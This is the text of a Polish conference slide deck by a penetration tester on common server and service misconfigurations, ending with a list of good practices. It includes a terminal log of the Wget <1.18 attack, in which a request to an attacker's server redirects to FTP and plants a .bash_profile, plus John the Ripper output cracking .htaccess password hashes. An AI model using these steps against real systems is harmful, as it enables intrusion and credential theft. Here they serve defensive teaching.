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BORYS ŁĄCKI

Od ponad 10 lat wykonując testy 
penetracyjne, testujemy bezpieczeństwo 

i zabezpieczamy zasoby Klientów. 



1) Incydenty komputerowe

2) Konfiguracja usług – 
najważniejsze problemy

3) DEMO: Błędy w konfiguracji usług

4) Podsumowanie

5) Sesja pytań od uczestników

AGENDA



KONFIGURACJA USŁUG - CEL

Ograniczanie udanych ataków

Spowalnianie atakujących



● Standardowa konfiguracja
● Brak aktualizacji
● Firewall
● Uwierzytelnianie

NAJCZĘSTSZE PROBLEMY



OAUTH MISCONFIGURATION



DOSTĘP SIECIOWY + HASŁA

username: admin and password: research



AKTUALIZACJA OPROGRAMOWANIA

GNU Wget < 1.18       Arbitrary File Upload / Potential Remote Code Execution

victim@trusty:~$ wget http://attackers-server/safe-file.txt
Connecting to attackers-server|192.168.57.1|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: ftp://192.168.57.1/.bash_profile [following]  => .bash_profile
Connecting to 192.168.57.1:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> SIZE .bash_profile ... 55
==> PASV ... done.    ==> RETR .bash_profile ... done.
 
.bash_profile                                100%
[================================================>]      
 
.bash_profile saved 



ALGORYTMY SZYFRUJĄCE

./john .htaccess-bcrypt 
Loaded 1 password hash (OpenBSD Blowfish [32/64 
X2])

c/s: 1412 > 4 lata

./john .htaccess-crypt 
Loaded 1 password hash (Traditional DES [128/128 
BS SSE2-16])

c/s: 2907K 19 godzin



HASŁO “NA CHWILĘ”

SECURE 2016 – Łukasz Siewierski – Mój serwer jest chory!



ZBĘDNE USŁUGI



SSL/TLS



ZBĘDNE USŁUGI I INFORMACJE



ZBĘDNE USŁUGI I INFORMACJE



DEBUG / DEVEL



DEBUG / DEVEL



PAKIETY Z LITERÓWKAMI



PUBLICZNE VS. PRYWATNE

https://zaufanatrzeciastrona.pl/post/czy-twoje-pliki-w-s3-amazona-sa-bezpieczne/

https://zaufanatrzeciastrona.pl/post/czy-twoje-pliki-w-s3-amazona-sa-bezpieczne/


AKTUALIZACJE



WEB UPDATES



VOIP - AUTH



DNS MISCONFIGURATION



HTTPD HEADERS



MYSQL / MONGODB - RANSOMWARE



DEMO



DOBRE PRAKTYKI

● Oddzielaj - dostęp do aplikacji
● Aktualizuj - oprogramowanie
● Weryfikuj - ustawienia
● Ograniczaj - uprawnienia
● Porządkuj - dane
● Monitoruj - zasoby
● Dokumentuj - procesy
● Automatyzuj



https://z3s.pl/szkolenia/

Atak i obrona:
● Bezpieczeństwo aplikacji WWW
● Bezpieczeństwo aplikacji mobilnych

-10%
Obowiązuje 10 dni

Hasło: 5QMO2

SZKOLENIA - RABAT

https://z3s.pl/szkolenia/


Dziękuję za uwagę
Borys Łącki

b.lacki@logicaltrust.net

www.arubacloud.pl
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